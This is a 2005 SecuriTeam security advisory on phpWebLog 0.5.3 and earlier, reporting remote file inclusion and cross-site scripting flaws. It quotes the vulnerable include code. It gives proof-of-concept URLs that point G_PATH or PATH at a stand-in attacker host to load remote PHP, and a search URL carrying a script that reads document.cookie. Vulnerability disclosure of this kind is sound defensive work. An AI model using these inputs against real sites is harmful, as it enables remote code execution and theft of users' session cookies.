[UNIX] Multiple Vulnerabilities in phpWebLog (Cross Site Scripting, File Inclusion)
From: SecuriTeam (support_at_securiteam.com)
Date: 03/17/05
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To: list@securiteam.com Date: 17 Mar 2005 10:13:07 +0200
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Multiple Vulnerabilities in phpWebLog (Cross Site Scripting, File
Inclusion)
------------------------------------------------------------------------
SUMMARY
<http://phpweblog.org/> phpWebLog is "a news and content management
system written in PHP".
The phpWebLog has been found to contain multiple vulnerabilities allowing
a remote attacker to initiate cross site scripting attacks and cause the
inclusion and execution of external PHP scripts.
DETAILS
Vulnerable Systems:
* phpWebLog version 0.5.3 and prior
File Inclusion:
Vulnerable code in include/init.inc.php::
..
include_once("$G_PATH/include/func.inc.php");
include_once("$G_PATH/include/cache.inc.php");
include_once("$G_PATH/include/blocks.inc.php");
include_once("$G_PATH/include/layout.inc.php");
include_once("$G_PATH/include/parser.inc.php");
include_once("$G_PATH/include/search.inc.php");
include_once("$G_PATH/include/comments.inc.php");
...
Vulnerable code in backend/addons/links/index.php:
# Original links code written by Twyst (http://anime-central.net)
# Modified for use with phpWebLog by Jason Hines
# Thanks Twyst!
include_once($PATH . "/functions.php");
...
Proof of Concept:
If register_globals=on and allow_url_fopen=on the following URLs will
include external PHP files that reside on the host hacker_box:
http://[victim]/[dir]/include/init.inc.php?G_PATH=http://[hacker_box]/
http://[victim]/[dir]/backend/addons/links/index.php?PATH=http://[hacker_box]/
Cross Site Scripting:
The search option does not sanitize the search content allowing attackers
to steal information from users via cross site scripting.
Exploit:
The following URL can be used to test your system for the mentioned
vulnerability:
http://vulnerable/search.php?query=we+%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&topic=0&limit=30
ADDITIONAL INFORMATION
The information has been provided by <mailto:groszynskif@gmail.com> Filip
Groszynski.
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